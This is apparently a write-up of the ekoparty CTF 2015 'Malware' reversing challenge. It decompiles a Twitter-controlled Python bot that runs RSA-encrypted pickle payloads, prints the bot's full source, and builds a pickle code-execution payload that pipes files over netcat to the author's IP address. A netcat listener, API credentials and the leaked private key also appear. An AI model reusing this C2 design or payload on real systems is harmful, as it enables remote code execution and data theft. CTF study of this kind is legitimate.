[](ctf=ekoparty-ctf-2015)[](type=reversing)[](tags=malware,control,pickle,RSA)[](tools=Twitter,easy-python-decompiler)[](techniques=Decompiling)
# Malware (rev-200)
We have a [zip](../rev200.zip).Extract and we get
```bash$ file ekobot_final.pyc ekobot_final.pyc: python 2.7 byte-compiled```
Byte-compiled python can be very easily decompiled. So here I use [Easy Python Decompiler](http://sourceforge.net/projects/easypythondecompiler/). We get an [output](ekobot_final.py) which is scary!
```python# Embedded file name: ekobot_final.pyimport osimport sysimport httplib2import cPicklefrom Crypto.PublicKey import RSAfrom base64 import b64decodefrom twython import Twythonif 0:    i11iIiiIiiOO0o = 'ekoctf'if 0:    Iii1I1 + OO0O0O % iiiii % ii1I - ooO0OO000oif len(sys.argv) != 2:    os._exit(0)    if 0:        IiII1IiiIiI1 / iIiiiI1IiI1I1o0OoOoOO00 = sys.argv[1]if 0:    OOOo0 / Oo - Ooo00oOo00o.I1IiIo0OOO = 'ienmDwTNHZVR9si4SzeCg1glB'iIiiiI = 'TTlOJrwq5o9obnRyQXRyaOkRoYUBTrCzN9j9IHX0Bc4dS2xBHN'if 0:    iii1II11ii * i11iII1iiI + iI1Ii11111iIi + ii1II11I1ii1I + oO0o0ooO0 - iiIIIII1i1iI
def o0oO0():    oo00 = 0    if os.path.isfile(o0OoOoOO00):        try:            o00 = open(o0OoOoOO00, 'r')            oo00 = int(o00.readline(), 10)        except:            oo00 = 0
    return oo00    if 0:        II1ii - o0oOoO00o.ooO0OO000o + ii1II11I1ii1I.ooO0OO000o - iI1Ii11111iIi
def oo(twid):    try:        o00 = open(o0OoOoOO00, 'w')        o00.write(str(twid))    except:        if 0:            oO0o0ooO0 - OO0O0O - IiII1IiiIiI1.ii1II11I1ii1I * iiIIIII1i1iI * ii1I        if 0:            ii1II11I1ii1I
def oo00000o0(url):    I11i1i11i1I = httplib2.Http('')    Iiii, OOO0O = I11i1i11i1I.request(url, 'GET')    if Iiii.status == 200:        try:            if Iiii['content-type'][0:10] == 'text/plain':                return OOO0O            return 'Err'        except:            return 'Err'
    else:        return url        if 0:            o0oOoO00o
def IiI1i(cipher_text):    try:        OOo0o0 = RSA.importKey(open('ekobot.pem').read())        O0OoOoo00o = b64decode(cipher_text)        iiiI11 = OOo0o0.decrypt(O0OoOoo00o)        return iiiI11    except Exception as OOooO:        print str(OOooO)        return 'Err'        if 0:            OOOo0 + Oo / ii1II11I1ii1I * iiiii
II111iiii = Twython(o0OOO, iIiiiI, oauth_version=2)II = II111iiii.obtain_access_token()II111iiii = Twython(o0OOO, access_token=II)if 0:    Oo % ii1Ioo00 = o0oO0()o0oOo0Ooo0O = II111iiii.search(q='#' + OO0o, rpp='250', result_type='mixed', since_id=oo00)if 0:    I1IiI * iiIIIII1i1iI * iI1Ii11111iIi - oO0o0ooO0 - Ooo00oOo00ofor OooO0OO in o0oOo0Ooo0O['statuses']:    if OooO0OO['id'] > oo00:        oo00 = OooO0OO['id']        if 0:            ooO0OO000o    iii11iII = 0    try:        for i1I111I in OooO0OO['entities']['hashtags']:            if i1I111I['text'] == OO0o:                iii11iII = 1
        if iii11iII == 1:            for i11I1IIiiIi in OooO0OO['entities']['urls']:                if os.fork() == 0:                    IiIiIi = IiI1i(oo00000o0(i11I1IIiiIi['url']))                    if IiIiIi[0:5] == 'eko11':                        cPickle.loads(IiIiIi[5:])                    os._exit(0)                    if 0:                        iii1II11ii.Oo.iIiiiI1IiI1I1.ii1I
    except Exception as OOooO:        print str(OOooO)        if 0:            ii1II11I1ii1I + ooO0OO000o % i11iIiiIii.o0oOoO00o - IiII1IiiIiI1
oo(oo00)```I scroll though the code and rename variables to make it more readable and easy to debug. [Final](ekobot-chall.py)```pythonimport osimport sysimport httplib2import cPicklefrom Crypto.PublicKey import RSAfrom base64 import b64decodefrom twython import Twythonname = 'ekoctf'
if len(sys.argv) != 2:    os._exit(0)    if 0:        IiII1IiiIiI1 / iIiiiI1IiI1I1argv_1 = sys.argv[1]Secret = 'ienmDwTNHZVR9si4SzeCg1glB'key = 'TTlOJrwq5o9obnRyQXRyaOkRoYUBTrCzN9j9IHX0Bc4dS2xBHN'print "Here!"def o0oO0():    max_id = 0    if os.path.isfile(argv_1):        try:            o00 = open(argv_1, 'r')            max_id = int(o00.readline(), 10)        except:            max_id = 0
    return max_id
def save_new_max(twid):    try:        o00 = open(argv_1, 'w')        o00.write(str(twid))    except:        print error
def get_content(url):    print url    I11i1i11i1I = httplib2.Http('')    Iiii, OOO0O = I11i1i11i1I.request(url, 'GET')    if Iiii.status == 200:        try:            if Iiii['content-type'][0:10] == 'text/plain':                return OOO0O            return 'Err'        except:            return 'Err'
    else:        return url
def decrypt(cipher_text):    print cipher_text    return 'err'    try:        OOo0o0 = RSA.importKey(open('ekobot.pem').read())        O0OoOoo00o = b64decode(cipher_text)        iiiI11 = OOo0o0.decrypt(O0OoOoo00o)        return iiiI11    except Exception as OOooO:        print str(OOooO)        return 'Err'twython_object = Twython(Secret, key, oauth_version=2)access_token = twython_object.obtain_access_token()twython_object = Twython(Secret, access_token=access_token)max_id = o0oO0()search_result = twython_object.search(q='#' + name, rpp='250', result_type='mixed', since_id=max_id)
for i in search_result['statuses']:    print i['id']    if i['id'] > max_id:        max_id = i['id']    iii11iII = 0    try:        for i1I111I in i['entities']['hashtags']:            if i1I111I['text'] == name:                iii11iII = 1
        if iii11iII == 1:            for j in i['entities']['urls']:                if True:                    IiIiIi = decrypt(get_content(j['url']))                    print IiIiIi                    if IiIiIi[0:5] == 'eko11':                        cPickle.loads(IiIiIi[5:])                    #os._exit(0)
    except Exception as OOooO:        print str(OOooO)
print max_id```Now twython is Python wrapper for the Twitter API. Here first the program is registering itself and then searching for tweets with 'ekoctf' tag. For every tweet it will try to extract a url from it, then visit the url and dowload the content if its 'text\plain' Content-type. Next this content is decrypted by some private key locally stored. The decrypted plaintext is verified for starting with 'eko11' and the rest is loaded os cPickle.
cPickle is used to serialize python objects and suffers from code execution on loads().
```pythoncPickle.loads('cos\nsystem\n(S'cat /etc/passwd'\ntR.'\ntR.')```If this service is being run somewhere then we can have code execution on that machine just by Tweeting our commands.A nice example of C&C( command and control ).
However we would need a public key for encrypting the data. Looking around on twitter we find the [key](pub.pem) with same hashtag.Now we can get the flag by various methods on the machine. We can make a request to a controlled domain with contents of the flag.
What I did was "cat * | nc my-machine port". It will dump the contents of every file to the port which I was listening on my machine.A quick RSA encryption```pythonfrom Crypto.PublicKey import RSAfrom base64 import b64decode,b64encode
key=RSA.importKey(open('pub.pem').read())exploit="eko11"+"cos\nsystem\n(S'cat * | nc 182.70.222.238 8000'\ntR.'\ntR."txt=key.encrypt(exploit,32)[0]final=b64encode(txt)print final````
We can use pastebin's view-raw url as a link in the tweet and 
```bashwhile true ; do nc -l -n -v  -p 8000 ; done```on my machine. After some 30-40 seconds```-----BEGIN RSA PRIVATE KEY-----MIIEpAIBAAKCAQEAmWw84H8BSPG1Ispn1hBPWZ4ORxniLhOl76aOAsGsqdRZJyL+PFLWedGUx0ELwzf3vWQ2wMDwN37MZYWdS4z8WT6P4FRtK09UtDgqNUQdx49WBqDf2GmIT+uBwMQBUCe3x+RTVcwDzA1I0mPtJj3K6bGdmSSBZjgc6MA4rJil7xdSVP5Pedb8MZMKk/5tXmFl3gFjykkUfG+DbmsxulZ48D+IoIU6bVWAkael+ftZtDWY43XkezD2swV01Eaw4J7MzBakPDA6KipxNhKQZ2xoeEsP2p8L67qF48eUbxI1ukcrqdy0c92rSihmChGBmHQ2AREshtTTLpM24/Nrirje/QIDAQABAoIBAEF/xyGktxy4LDe1J81o2yeMZdYPA9PeCYqdlaUxoBBFGuatdtK0HuKVCipi562pWDff78ws0qEunf59o6CciSNkpTIFeTHzRVtHWyWwdfI7jGN6DPasX0iXZ6avR0w8GKbbIITRe5GC3mMLzDP2T4mjjX/S6PeF3zmyzr9I0BaZOgTdUumuYCzDfA9+MgRxIUi9i+7rrOMTiGdoWGJVGC+j8vQiyf5eOGtlQxYLwm2pWas3EYrvk6jiesNhdDvr87X7YW8uABwUlLr55m/vocLCJLpo+QjFdyo6bNd/wEfQs1pG9C0UPIe46YIEeAkY08q2a5xzikfx/CGLnsgc/dUCgYEAyynNy9qbUEbgJr6dfksTs2nBu89yG/vy3eoNoUbStr0LCAIYl8knXnwliCuli/5Zssb6/uBqX7fUuD3ztgCmo8KoNjJ/VHh9n701Uwl5FghqeoILnQHICFbN1Ub18VoOLt2SjgKN+7sqqrEiCqyyFxyoCDyBkBOqS7gr0V+/wMMCgYEAwVLQVZb335ovMx20cE8yO200dbwFdlJsYhM0PKSLLJ0aSsymrhFhUZC/rjQ8rJD1zs+Wlg6QeQ6yQRE4n4egi8NOnMms83kIMGeOa5VvCcQxXJ8v4Vez432SOeRHMxiUmiMEXHGnulsI9NhKYoMKfvfvLEwptzhCfAr2QO7e5T8CgYEAuFcZFVQowuFcd6tTagmjOZLHJ6tl5YBpcPPzJBgID6lePgjw2aC6aSAKShEYZ/sE1pN3oRZtTqaVjAsifE0A5uw0BuEw6ateiTd8D/kzdktymfAvq2m3X+GraE630COfZOTFGre0rum4ICMTOU5TVWc6DCcihGFjjsrwb00Kx1MCgYAB9KuE4iUZzv6BPuCvbi2s6jroogFQJB9Skq0pm+SIjAJTFWTuR+C7KYK26XJfsIu8Dt+QHw+ZGev1uo3fF0kpgM1Pyr6ELApIKxQGxJk9+Q0iyb17Qx7fw0pyaXvK6Ym/UXFe2gt/WCJsD7AY9QhrJmj2AsM9RkVt6dJ577CzkwKBgQCk8oTtzfyXzUWcqsiekmHmzDAuO+SH/a0/FP2ceTq0I1caS6OAvYljR9aTJk5P02EmnfWCZVpMhzHlL4zO1x+2PiUiAXOthbyufWt5qyigp6jsNouLqFz0Oksk+bPu1XDVqT2XpoQtFXyFuJZmaFlA3k2Ny7rGe5bJ8XWCX6E+Bg==-----END RSA PRIVATE KEY----------BEGIN PUBLIC KEY-----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAmWw84H8BSPG1Ispn1hBPWZ4ORxniLhOl76aOAsGsqdRZJyL+PFLWedGUx0ELwzf3vWQ2wMDwN37MZYWdS4z8WT6P4FRtK09UtDgqNUQdx49WBqDf2GmIT+uBwMQBUCe3x+RTVcwDzA1I0mPtJj3K6bGdmSSBZjgc6MA4rJil7xdSVP5Pedb8MZMKk/5tXmFl3gFjykkUfG+DbmsxulZ48D+IoIU6bVWAkael+ftZtDWY43XkezD2swV01Eaw4J7MzBakPDA6KipxNhKQZ2xoeEsP2p8L67qF48eUbxI1ukcrqdy0c92rSihmChGBmHQ2AREshtTTLpM24/Nrirje/QIDAQAB-----END PUBLIC KEY-----#/usr/bin/pythonimport osimport sysimport httplib2import cPicklefrom Crypto . PublicKey import RSAfrom base64 import b64decodefrom twython import Twythonif 64 - 64: i11iIiiIiiOO0o = 'ekoctf'if 81 - 81: Iii1I1 + OO0O0O % iiiii % ii1I - ooO0OO000oif ( len ( sys . argv ) <> 2 ) : os . _exit ( 0 ) if 4 - 4: IiII1IiiIiI1 / iIiiiI1IiI1I1o0OoOoOO00 = sys . argv [ 1 ]if 27 - 27: OOOo0 / Oo - Ooo00oOo00o . I1IiIo0OOO = 'ienmDwTNHZVR9si4SzeCg1glB'iIiiiI = 'TTlOJrwq5o9obnRyQXRyaOkRoYUBTrCzN9j9IHX0Bc4dS2xBHN'if 23 - 23: iii1II11ii * i11iII1iiI + iI1Ii11111iIi + ii1II11I1ii1I + oO0o0ooO0 - iiIIIII1i1iIdef o0oO0 ( ) : oo00 = 0 if os . path . isfile ( o0OoOoOO00 ) :  try :   o00 = open ( o0OoOoOO00 , "r" )   oo00 = int ( o00 . readline ( ) , 10 )  except :   oo00 = 0 return oo00 if 62 - 62: II1ii - o0oOoO00o . ooO0OO000o + ii1II11I1ii1I . ooO0OO000o - iI1Ii11111iIidef oo ( twid ) : try :  o00 = open ( o0OoOoOO00 , "w" )  o00 . write ( str ( twid ) ) except :  pass  if 89 - 89: oO0o0ooO0 - OO0O0O - IiII1IiiIiI1 . ii1II11I1ii1I * iiIIIII1i1iI * ii1I  if 25 - 25: ii1II11I1ii1Idef oo00000o0 ( url ) : I11i1i11i1I = httplib2 . Http ( "" ) Iiii , OOO0O = I11i1i11i1I . request ( url , 'GET' ) if Iiii . status == 200 :  try :   if Iiii [ "content-type" ] [ 0 : 10 ] == 'text/plain' :    return OOO0O   else :    return 'Err'  except :   return 'Err' else :  return url  if 94 - 94: o0oOoO00odef IiI1i ( cipher_text ) : try :  OOo0o0 = RSA . importKey ( open ( 'ekobot.pem' ) . read ( ) )  O0OoOoo00o = b64decode ( cipher_text )  iiiI11 = OOo0o0 . decrypt ( O0OoOoo00o )  return iiiI11 except Exception , OOooO :  print str ( OOooO )  return 'Err'  if 58 - 58: OOOo0 + Oo / ii1II11I1ii1I * iiiiiII111iiii = Twython ( o0OOO , iIiiiI , oauth_version = 2 )II = II111iiii . obtain_access_token ( )II111iiii = Twython ( o0OOO , access_token = II )if 63 - 63: Oo % ii1Ioo00 = o0oO0 ( )o0oOo0Ooo0O = II111iiii . search ( q = '#' + OO0o , rpp = "250" , result_type = "mixed" , since_id = oo00 )if 81 - 81: I1IiI * iiIIIII1i1iI * iI1Ii11111iIi - oO0o0ooO0 - Ooo00oOo00ofor OooO0OO in o0oOo0Ooo0O [ 'statuses' ] : if OooO0OO [ 'id' ] > oo00 :  oo00 = OooO0OO [ 'id' ]  if 28 - 28: ooO0OO000o iii11iII = 0 try :  for i1I111I in OooO0OO [ 'entities' ] [ 'hashtags' ] :   if i1I111I [ 'text' ] == OO0o :    iii11iII = 1  if iii11iII == 1 :   for i11I1IIiiIi in OooO0OO [ 'entities' ] [ 'urls' ] :    if os . fork ( ) == 0 :     IiIiIi = IiI1i ( oo00000o0 ( i11I1IIiiIi [ 'url' ] ) )     if IiIiIi [ 0 : 5 ] == 'eko11' :      cPickle . loads ( IiIiIi [ 5 : ] )     os . _exit ( 0 )     if 40 - 40: iii1II11ii . Oo . iIiiiI1IiI1I1 . ii1I except Exception , OOooO :  print str ( OOooO )  if 33 - 33: ii1II11I1ii1I + ooO0OO000o % i11iIiiIii . o0oOoO00o - IiII1IiiIiI1oo ( oo00 )# dd678faae9ac167bc83abf78e5cb2f3f0688d3a3EKO{simple_C&C_RSAtu1ts}```
Flag:>EKO{simple_C&C_RSAtu1ts}
PS: I spent about 10 hours on this chall only because of the API. It never read my tweets. The admin fmunozs was cool and helpful and even used his account to tweet. Cheers man!